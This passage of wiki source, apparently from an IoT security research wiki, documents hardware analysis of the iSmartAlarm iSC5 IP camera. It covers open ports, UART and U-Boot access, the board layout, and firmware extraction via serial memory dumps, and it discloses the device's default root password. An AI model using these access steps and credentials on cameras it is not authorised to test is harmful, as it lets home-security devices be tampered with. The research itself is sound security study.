&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;[-] Listening TCP:&lt;br /&gt;
Active Internet connections (only servers)&lt;br /&gt;
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name&lt;br /&gt;
tcp        0      0 0.0.0.0:22306           0.0.0.0:*               LISTEN      606/iSC3S&lt;br /&gt;
tcp        0      0 0.0.0.0:22345           0.0.0.0:*               LISTEN      606/iSC3S&lt;br /&gt;
tcp        0      0 0.0.0.0:10002           0.0.0.0:*               LISTEN      606/iSC3S&lt;br /&gt;
&lt;br /&gt;
[-] Listening UDP:&lt;br /&gt;
Active Internet connections (only servers)&lt;br /&gt;
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name&lt;br /&gt;
udp        0      0 0.0.0.0:10000           0.0.0.0:*                           606/iSC3S&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h2&amp;gt;Mobile App&amp;lt;/h2&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;text-align: justify; margin-bottom: 5px&amp;quot;&amp;gt;The iSmartAlarm app allows you to arm, monitor, and disarm your iSmartAlarm Home Security System at any time, from anywhere, in real-time. You can see who is home, when family members leave or return, and the status of every sensor and device. It manages all of your iSmartAlarm products, including Contact Sensors, Motion Sensors, iCamera (1st Gen), iCamera KEEP, Smart Switch, and more. Multiple homes and systems can be managed easily in the same app. iSmartAlarm will alert all designated members with SMS text messages, push notifications, automated phone calls, and email when the iSmartAlarm Home Security System detects a break-in or unauthorized activity. Users can then choose how to address the situation appropriately - A call can be placed to the police in case of a break-in, or the alarm can be ignored and the system set to Arm again if it is a false alarm.&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;Source&amp;lt;/b&amp;gt;: [[https://play.google.com/store/apps/details?id=iSA.common&amp;amp;hl=en&amp;amp;gl=US Play Store]]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;table class=&amp;quot;wikitable&amp;quot; style=&amp;quot;width: 100%&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;th style=&amp;quot;text-align: left;&amp;quot;&amp;gt;OS&amp;lt;/th&amp;gt;&lt;br /&gt;
&amp;lt;th style=&amp;quot;text-align: left;&amp;quot;&amp;gt;Link&amp;lt;/th&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td&amp;gt;Android&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white&amp;quot;&amp;gt;https://play.google.com/store/apps/details?id=iSA.common&amp;amp;hl=en&amp;amp;gl=US&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;td&amp;gt;IOS&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white&amp;quot;&amp;gt;https://apps.apple.com/us/app/ismartalarm/id615159814&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;/table&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Note&amp;lt;/b&amp;gt;: Only the Android ha been analyzed.&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Note&amp;lt;/b&amp;gt;: The iCS5 device can only be managed via mobile APP.&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The recent verison doesnt work&lt;br /&gt;
I used 2.0.8&lt;br /&gt;
Wifi setup is not working device is transmitting &amp;lt;unknown SSID&amp;gt;&lt;br /&gt;
Password is transmitted encrypted&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h2&amp;gt;Physical Intervention&amp;lt;/h2&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;text-align: justify; margin-bottom: 5px&amp;quot;&amp;gt;[https://wiki.elvis.science/index.php?title=Firmware_Acquisition_Techniques#Dissembly Dissembling] the iSC5 has to be proven to be quite hard without damaging the case, and would have be even harder without the [https://fccid.io/SENISC5/Internal-Photos/Internal-Photos-REV-1-2833644 internal photos] provided to the FCC. Additionally this [[https://www.youtube.com/watch?v=OOghPawyIms video]] may be used, which shows how to dissamble the OEM Xiaomi device model where iSmartAlarm install their FW on.&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; calc(100% - 12px); overflow:auto;&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; &amp;lt;b&amp;gt;iSC5&amp;lt;/b&amp;gt;: Printed Circuit Board&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt; ‎&lt;br /&gt;
&lt;br /&gt;
&amp;lt;gallery caption=&amp;quot;&amp;quot; mode=&amp;quot;packed-hover&amp;quot; style=&amp;quot;border: 1px solid #eaecf0; background-color: white; border-radius: 3px&amp;quot; heights=465px&amp;gt;&lt;br /&gt;
image:ISmartAlarm iSC5-MCUP01 V2 2 (iSC5-B01) Front.jpeg|iSC5-MCUP01 V2.2 Front&lt;br /&gt;
image:ISmartAlarm iSC5-MCUP01 V2 2 (iSC5-B01) Back.jpeg|iSC5-MCUP01 V2.2 Back&lt;br /&gt;
&amp;lt;/gallery&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;gallery caption=&amp;quot;&amp;quot; mode=&amp;quot;packed-hover&amp;quot; style=&amp;quot;border: 1px solid #eaecf0; background-color: white; border-radius: 3px&amp;quot; heights=465px&amp;gt;&lt;br /&gt;
image:ISmartAlarm iSC5-SENP01 V1 1 (iSC5-B02) Front.jpeg|iSC5-SENP01 V1.1 Front&lt;br /&gt;
image:ISmartAlarm iSC5-SENP01 V1 1 (iSC5-B02) Back.jpeg|iSC5-SENP01 V1.1 Back&lt;br /&gt;
&amp;lt;/gallery&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;gallery caption=&amp;quot;&amp;quot; mode=&amp;quot;packed-hover&amp;quot; style=&amp;quot;border: 1px solid #eaecf0; background-color: white; border-radius: 3px&amp;quot; heights=465px&amp;gt;&lt;br /&gt;
image:ISmartAlarm iSC5-LEDP01 V3 0 (iSC5-B03) Front.jpeg|iSC5-LEDP01 V3.0 Front&lt;br /&gt;
image:ISmartAlarm iSC5-LEDP01 V3 0 (iSC5-B03) Back.jpeg|iSC5-LEDP01 V3.0 Back&lt;br /&gt;
&amp;lt;/gallery&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Note&amp;lt;/b&amp;gt;: Dissambling XIAOMI ISC5 1080P WI-FI CAMERA by [https://www.unifore.net/product-highlights/disassemble-cheapest-xiaomi-isc5-1080p-wi-fi-camera.html GEEKiFIX] &amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h3&amp;gt;SoC&amp;lt;/h3&amp;gt;&lt;br /&gt;
The SONiX SN98600 / 98601 / 98610 IP Camera SoC integrates powerful image sensor processing, 1080p15 H.264 multi-stream encoding, and ARM9 processor with rich I/O for IP Camera and network video stream server applications. SN98600 / 98601 / 98610 offers excellent video quality and supports varied real-time bitstreams, up to 5 simultaneous streams with different video formats (H.264 and MJPEG), and different resolutions to fit the bandwidth.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Datasheet&amp;lt;/b&amp;gt;: [http://www.sonix.com.tw/article-en-958-13487 SN988601AFG] &amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h3&amp;gt;On-Chip Debug&amp;lt;/h3&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h4&amp;gt;UART&amp;lt;/h4&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;p style=&amp;quot;text-align: justify&amp;quot;&amp;gt;Having a UART connection isn&#039;t necessary at any point of time, but it provides great insights on how the device operates and reacts to incomming requests. And to examine the devices&#039; runtime configuration. The UART can be easily identified by just looking at the PCB. Follow the steps in our documentations [https://wiki.elvis.science/index.php?title=Firmware_Acquisition_Techniques#UART Firmware Acquisition Techniques] or [https://wiki.elvis.science/index.php?title=JTAGulator:_Find_IoT-Device%27s_UART_interface JTAGulator: Find IoT-Device&#039;s UART interface] for further information and guidance. The investigated device uses the UART configuration of &amp;lt;code&amp;gt;115200 (8N1)&amp;lt;/code&amp;gt; (&amp;lt;code&amp;gt;screen /dev/$S_INT 115200,cs8&amp;lt;/code&amp;gt;).&amp;lt;/p&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; calc(100% - 12px); overflow:auto; &amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;line-height:1.6; margin-bottom: -20px !important&amp;quot;&amp;gt;&amp;amp;#9432; &amp;lt;b&amp;gt;iSC5&amp;lt;/b&amp;gt;: UART Setup&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt; ‎&lt;br /&gt;
&amp;lt;gallery caption=&amp;quot;&amp;quot; mode=&amp;quot;packed-hover&amp;quot; style=&amp;quot;border: 1px solid #eaecf0; background-color: white; border-radius: 3px&amp;quot; heights=300px&amp;gt;&lt;br /&gt;
image:ISmartAlarm iSC5-MCUP01 V2 2 (iSC5-B01) UART Pin assignment.jpeg|UART Pin Assignment&lt;br /&gt;
image:iSmartAlarm_iSC5_UART_Setup.jpeg|No need for soldering.&lt;br /&gt;
&amp;lt;/gallery&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Spoiler&amp;lt;/b&amp;gt;: The device provides a user &amp;lt;code&amp;gt;root&amp;lt;/code&amp;gt; with the password &amp;lt;code&amp;gt;1234&amp;lt;/code&amp;gt; and another user &amp;lt;code&amp;gt;default&amp;lt;/code&amp;gt; without any password.&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h5&amp;gt;Bootloader&amp;lt;/h5&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;p style=&amp;quot;text-align: justify&amp;quot;&amp;gt;The examined device uses the Universal Bootloader (U-Boot). It requires a serial connection using &amp;lt;code&amp;gt;115200 (8N1)&amp;lt;/code&amp;gt; over UART to access. The default boot delay is 0 seconds. Hold any key (e.g. ENTER) while restarting the deivce to access the bootloader.&amp;lt;/p&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; calc(100% - 12px); overflow:auto;&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; &amp;lt;b&amp;gt;iSC5&amp;lt;/b&amp;gt;: U-Boot Configuration&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;NOTE: HOLD KEY (E.G. ENTER) WHILE RESTARTING THE DEVICE TO ACCESS THE BOOTLAODER&lt;br /&gt;
&lt;br /&gt;
U-Boot 2011.09 (May 22 2015 - 16:07:40)&lt;br /&gt;
&lt;br /&gt;
DRAM:  64 MiB&lt;br /&gt;
MMC:   SD Card not detect&lt;br /&gt;
mmci_host_init error - -1&lt;br /&gt;
&lt;br /&gt;
SPI FLASH: 16 MB&lt;br /&gt;
In:    serial&lt;br /&gt;
Out:   serial&lt;br /&gt;
Err:   serial&lt;br /&gt;
GPIO[2] is high&lt;br /&gt;
GPIO[2] is high&lt;br /&gt;
GPIO[2] is high&lt;br /&gt;
Hit any key to stop autoboot:  0 &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
sonix # &lt;br /&gt;
sonix # ?&lt;br /&gt;
&lt;br /&gt;
?       - alias for &#039;help&#039;&lt;br /&gt;
bdinfo  - print Board Info structure&lt;br /&gt;
boot    - boot default, i.e., run &#039;bootcmd&#039;&lt;br /&gt;
bootm   - boot application image from memory&lt;br /&gt;
cmp     - memory compare&lt;br /&gt;
cp      - memory copy&lt;br /&gt;
crc32   - checksum calculation&lt;br /&gt;
devinfo - devinfo&lt;br /&gt;
dump    - dump image&lt;br /&gt;
erase   - erase FLASH memory&lt;br /&gt;
eraseetc- eraseetc&lt;br /&gt;
fatinfo - print information about filesystem&lt;br /&gt;
fatload - load binary file from a dos filesystem&lt;br /&gt;
fatls   - list files in a directory (default /)&lt;br /&gt;
fatupdate- update firmware from fat32 filesystem&lt;br /&gt;
flinfo  - print FLASH memory information&lt;br /&gt;
go      - start application at address &#039;addr&#039;&lt;br /&gt;
help    - print command description/usage&lt;br /&gt;
hwcrc16 - hwcrc16 - hardware crc16 calculate&lt;br /&gt;
&lt;br /&gt;
loadb   - load binary file over serial line (kermit mode) and update to flash&lt;br /&gt;
loadkernel- loadkernel&lt;br /&gt;
loady   - load binary file over serial line (ymodem mode) and update to flash&lt;br /&gt;
md      - memory display&lt;br /&gt;
mm      - memory modify (auto-incrementing address)&lt;br /&gt;
mmc     - MMC sub system&lt;br /&gt;
mmcinfo - display MMC info&lt;br /&gt;
mtest   - simple RAM read/write test&lt;br /&gt;
mw      - memory write (fill)&lt;br /&gt;
nand    - NAND sub-system&lt;br /&gt;
nm      - memory modify (constant address)&lt;br /&gt;
printenv- print environment variables&lt;br /&gt;
protect - enable or disable FLASH write protection&lt;br /&gt;
reset   - Perform RESET of the CPU&lt;br /&gt;
saveenv - save environment variables to persistent storage&lt;br /&gt;
setenv  - set environment variables&lt;br /&gt;
spi     - spi - Serial Flash sub-system&lt;br /&gt;
tftpboot- boot image via network using TFTP protocol&lt;br /&gt;
update  - update image, u-env, factory, u-logo, user, kernel, rootfs-r, rootfs-rw&lt;br /&gt;
usb     - USB sub-system&lt;br /&gt;
usbboot - boot from USB device&lt;br /&gt;
verify  - verify image, flash-info, hw-setting, flash-layout, u-boot, rescue, user, factory, kernel, rootfs-r, u-env&lt;br /&gt;
version - print monitor, compiler and linker version&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
sonix # bdinfo&lt;br /&gt;
&lt;br /&gt;
arch_number = 0x0000067D&lt;br /&gt;
boot_params = 0x00000100&lt;br /&gt;
DRAM bank   = 0x00000000&lt;br /&gt;
-&amp;gt; start    = 0x00000000&lt;br /&gt;
-&amp;gt; size     = 0x04000000&lt;br /&gt;
ethaddr     = 00:B0:27:08:90:14&lt;br /&gt;
ip_addr     = 10.19.1.194&lt;br /&gt;
baudrate    = 115200 bps&lt;br /&gt;
TLB addr    = 0x03FF0000&lt;br /&gt;
relocaddr   = 0x03D7A000&lt;br /&gt;
reloc off   = 0x0207A000&lt;br /&gt;
irq_sp      = 0x03D19F60&lt;br /&gt;
sp start    = 0x03D19F50&lt;br /&gt;
FB base     = 0x03DF0000&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
sonix # devinfo&lt;br /&gt;
&lt;br /&gt;
## Device Info Starting ...&lt;br /&gt;
Flash-Type=SPI&lt;br /&gt;
&lt;br /&gt;
SPI : u-boot/factory/kernel/rootfs-r/rootfs-rw/user/u-logo&lt;br /&gt;
hw-setting=0x00000000,0x00000FFF&lt;br /&gt;
u-boot=0x00001000,0x0005FFFF&lt;br /&gt;
u-env=0x00060000,0x0007EFFF&lt;br /&gt;
flash-layout=0x0007F000,0x0007FFFF&lt;br /&gt;
factory=0x00080000,0x000BFFFF&lt;br /&gt;
kernel=0x000C0000,0x003BFFFF&lt;br /&gt;
rootfs-r=0x003C0000,0x00ABFFFF&lt;br /&gt;
rootfs-rw =0x00EC0000,0x00FBFFFF&lt;br /&gt;
user=0x00FC0000,0x00FFFFFF&lt;br /&gt;
u-logo=0x00000000,0x00000000&lt;br /&gt;
rescue=0x00AC0000,0x00EBFFFF&lt;br /&gt;
u-boot.ver=u-boot-2011-09&lt;br /&gt;
u-boot.tm=&lt;br /&gt;
factory.ver=SN98600_1.20_P2P_tstream_033a_20150522_1604&lt;br /&gt;
factory.tm=2016-03-09 19:04&lt;br /&gt;
kernel.ver=SN98600_1.20_P2P_tstream_033a_20150522_1604&lt;br /&gt;
kernel.tm=2017-07-04 18:19&lt;br /&gt;
user.ver=SN98600_1.20_P2P_tstream_005d_20141015_1243&lt;br /&gt;
user.tm=2014-10-20 09:28&lt;br /&gt;
rootfs-r.ver=SN98600_1.20_P2P_tstream_033a_20150522_1604&lt;br /&gt;
rootfs-r.tm=2017-07-04 18:20&lt;br /&gt;
## Device Info End, rc = 0x0&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
sonix # printenv&lt;br /&gt;
&lt;br /&gt;
baudrate=115200&lt;br /&gt;
bootargs=console=ttyS0,115200 root=/dev/mtdblock2 init=/linuxrc mem=64M isp=7M vc=12M vo=0M mtdparts=snx-spi:768k(uboot),3M(kernel),7M(rootfs),4M(rescue),1M(etc),256K(userconfig)&lt;br /&gt;
bootcmd=loadkernel 0x00007FFC 0x0;bootm 0x00008000&lt;br /&gt;
bootdelay=0&lt;br /&gt;
bootfile=uImage&lt;br /&gt;
ethaddr=00:B0:27:08:90:14&lt;br /&gt;
gatewayip=10.19.1.254&lt;br /&gt;
ipaddr=10.19.1.194&lt;br /&gt;
netmask=255.255.254.0&lt;br /&gt;
netretry=3&lt;br /&gt;
serverip=172.18.101.141&lt;br /&gt;
stderr=serial&lt;br /&gt;
stdin=serial&lt;br /&gt;
stdout=serial&lt;br /&gt;
&lt;br /&gt;
Environment size: 468/131068 bytes&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
sonix # version&lt;br /&gt;
&lt;br /&gt;
U-Boot 2011.09 (May 22 2015 - 16:07:40)&lt;br /&gt;
arm-linux-gcc (SONiX GCC-4.5.2 Release 2011-12-06) 4.5.2&lt;br /&gt;
GNU ld (GNU Binutils) 2.22&lt;br /&gt;
sonix # &amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h6&amp;gt;Change Boot Delay&amp;lt;/h6&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;text-align: justify;&amp;quot;&amp;gt;Accessing the bootloder requires to press and hold any key while startign the device in order to enter the bootloader because the &amp;lt;code&amp;gt;bootdelay&amp;lt;/code&amp;gt; is set to 0. In order to change this, enter U-Boot as described before, then execute the following commands:&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;# Set Bootdelay&lt;br /&gt;
setenv bootdelay 5&lt;br /&gt;
# OR: Remove Bootdelay&lt;br /&gt;
# setenv bootdelay&lt;br /&gt;
&lt;br /&gt;
# Persists Configuration&lt;br /&gt;
saveenv&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h6&amp;gt;Memory Dump&amp;lt;/h6&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The &amp;lt;code&amp;gt;md&amp;lt;/code&amp;gt; command can be used to display memory contents both as hexadecimal and ASCII data. ([http://www.denx.de/wiki/view/DULG/UBootCmdGroupMemory#Section_UBootCmdMd UBootCmdMd]) The &amp;lt;code&amp;gt;md&amp;lt;/code&amp;gt; method can be used to extract the firmware via UART, by dumping the complete or a distinct memory space. In the following the [[ISmartAlarm® ISC5 SPOT IP-Camera]] will be used as example using &amp;lt;code&amp;gt;screen&amp;lt;/code&amp;gt; to save the memory dump to a log file. In this example, &amp;lt;code&amp;gt;screen /dev/tty.usbserial-1410 115200&amp;lt;/code&amp;gt; was used to access the TTY and the &amp;lt;code&amp;gt;CTRL-a H&amp;lt;/code&amp;gt; (log) key binding has been used to start logging of the current window to the file &amp;quot;screenlog.n&amp;quot;. (See: &amp;lt;code&amp;gt;man screen&amp;lt;/code&amp;gt;). So, after the serial line and logging is ready, the memory layout must be identified. This is possible using the &amp;lt;code&amp;gt;mtdparts&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;devinfo&amp;lt;/code&amp;gt; or &amp;lt;code&amp;gt;printenv&amp;lt;/code&amp;gt; command (and more) if available or through identification of the chip and calculating the memory space based on the chip&#039;s capacity. Alternaively the mtdparts may be printed in the bootlogs or can be accessed if access to a Linux shell has already been acquired via &amp;lt;code&amp;gt;/proc/mtdparts&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;=&amp;gt; help md&lt;br /&gt;
md - memory display&lt;br /&gt;
&lt;br /&gt;
Usage:&lt;br /&gt;
md [.b, .w, .l] address [# of objects]&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; overflow:auto; calc(100% - 12px);&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; &amp;lt;b&amp;gt;Example&amp;lt;/b&amp;gt;: ISmartAlarm® ISC5 SPOT IP-Camera - U-Boot commands&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;sonix # version&lt;br /&gt;
U-Boot 2011.09 (May 22 2015 - 16:07:40)&lt;br /&gt;
arm-linux-gcc (SONiX GCC-4.5.2 Release 2011-12-06) 4.5.2&lt;br /&gt;
GNU ld (GNU Binutils) 2.22&lt;br /&gt;
&lt;br /&gt;
sonix # ?&lt;br /&gt;
?       - alias for &#039;help&#039;&lt;br /&gt;
bdinfo  - print Board Info structure&lt;br /&gt;
boot    - boot default, i.e., run &#039;bootcmd&#039;&lt;br /&gt;
bootm   - boot application image from memory&lt;br /&gt;
cmp     - memory compare&lt;br /&gt;
cp      - memory copy&lt;br /&gt;
crc32   - checksum calculation&lt;br /&gt;
devinfo - devinfo&lt;br /&gt;
dump    - dump image&lt;br /&gt;
erase   - erase FLASH memory&lt;br /&gt;
eraseetc- eraseetc&lt;br /&gt;
fatinfo - print information about filesystem&lt;br /&gt;
fatload - load binary file from a dos filesystem&lt;br /&gt;
fatls   - list files in a directory (default /)&lt;br /&gt;
fatupdate- update firmware from fat32 filesystem&lt;br /&gt;
flinfo  - print FLASH memory information&lt;br /&gt;
go      - start application at address &#039;addr&#039;&lt;br /&gt;
help    - print command description/usage&lt;br /&gt;
hwcrc16 - hwcrc16 - hardware crc16 calculate&lt;br /&gt;
loadb   - load binary file over serial line (kermit mode) and update to flash&lt;br /&gt;
loadkernel- loadkernel&lt;br /&gt;
loady   - load binary file over serial line (ymodem mode) and update to flash&lt;br /&gt;
md      - memory display&lt;br /&gt;
mm      - memory modify (auto-incrementing address)&lt;br /&gt;
mmc     - MMC sub system&lt;br /&gt;
mmcinfo - display MMC info&lt;br /&gt;
mtest   - simple RAM read/write test&lt;br /&gt;
mw      - memory write (fill)&lt;br /&gt;
nand    - NAND sub-system&lt;br /&gt;
nm      - memory modify (constant address)&lt;br /&gt;
printenv- print environment variables&lt;br /&gt;
protect - enable or disable FLASH write protection&lt;br /&gt;
reset   - Perform RESET of the CPU&lt;br /&gt;
saveenv - save environment variables to persistent storage&lt;br /&gt;
setenv  - set environment variables&lt;br /&gt;
spi     - spi - Serial Flash sub-system&lt;br /&gt;
tftpboot- boot image via network using TFTP protocol&lt;br /&gt;
update  - update image, u-env, factory, u-logo, user, kernel, rootfs-r, rootfs-rw&lt;br /&gt;
usb     - USB sub-system&lt;br /&gt;
usbboot - boot from USB device&lt;br /&gt;
verify  - verify image, flash-info, hw-setting, flash-layout, u-boot, rescue, user, factory, kernel, rootfs-r, u-env&lt;br /&gt;
version - print monitor, compiler and linker version&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; overflow:auto; calc(100% - 12px);&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; &amp;lt;b&amp;gt;Example&amp;lt;/b&amp;gt;: ISmartAlarm® ISC5 SPOT IP-Camera - Memory Layout&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;Bash&amp;quot;&amp;gt;mem=64M&lt;br /&gt;
mtdparts=snx-spi:&lt;br /&gt;
768k(uboot)&lt;br /&gt;
3M(kernel)&lt;br /&gt;
7M(rootfs)&lt;br /&gt;
4M(rescue)&lt;br /&gt;
1M(etc)&lt;br /&gt;
256K(userconfig)&lt;br /&gt;
&lt;br /&gt;
loadkernel 0x00007FFC 0x0;&lt;br /&gt;
bootm 0x00008000&lt;br /&gt;
&lt;br /&gt;
0x00000000,0x00000000 (u-logo)&lt;br /&gt;
0x00000000,0x00000FFF (hw-setting)&lt;br /&gt;
0x00001000,0x0005FFFF (u-boot)&lt;br /&gt;
0x00060000,0x0007EFFF (u-env)&lt;br /&gt;
0x0007F000,0x0007FFFF (flash-layout)&lt;br /&gt;
0x00080000,0x000BFFFF (factory)&lt;br /&gt;
0x000C0000,0x003BFFFF (kernel)&lt;br /&gt;
0x003C0000,0x00ABFFFF (rootfs-r)&lt;br /&gt;
0x00AC0000,0x00EBFFFF (rescue)&lt;br /&gt;
0x00EC0000,0x00FBFFFF (rootfs-rw)&lt;br /&gt;
0x00FC0000,0x00FFFFFF (user)&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The example device uses an 64MB SOP8 SPI chip to store the firmware. Based on the &amp;lt;code&amp;gt;mtdparts&amp;lt;/code&amp;gt;, the memory space is &amp;lt;code&amp;gt;0x00000000-0x00FFFFFF&amp;lt;/code&amp;gt;. this may be adapted to extract only a specific MTD partition. It is even possible to extract single files, like the shadow file, if the right memory address can be identified. It took 2 hours for extracting 64MB via UART. Additionnally, the device restarted automatically after 5min. This could be solved by monitoring the status and relaunching the memory dump from the last successfully received Byte. In any case, screenlog must be santized before continuing, by removing any additional text, which is not related to the actual memory dump. The actual command for extracting the whole memory is listed below. The &amp;lt;code&amp;gt;.b&amp;lt;/code&amp;gt; output format is required for the next step.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;Bash&amp;quot;&amp;gt;=&amp;gt; md.b 0x0 0xFFFFFF&lt;br /&gt;
00000000: 0e 00 00 ea 80 6b d9 03 c4 6b d9 03 94 6b d9 03    .....k...k...k..&lt;br /&gt;
00000010: c8 6b d9 03 fc 5b d8 03 14 f0 9f e5 14 f0 9f e5    .k...[..........&lt;br /&gt;
00000020: 04 04 00 00 00 00 00 00 14 04 00 00 24 04 00 00    ............$...&lt;br /&gt;
00000030: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00    ................&lt;br /&gt;
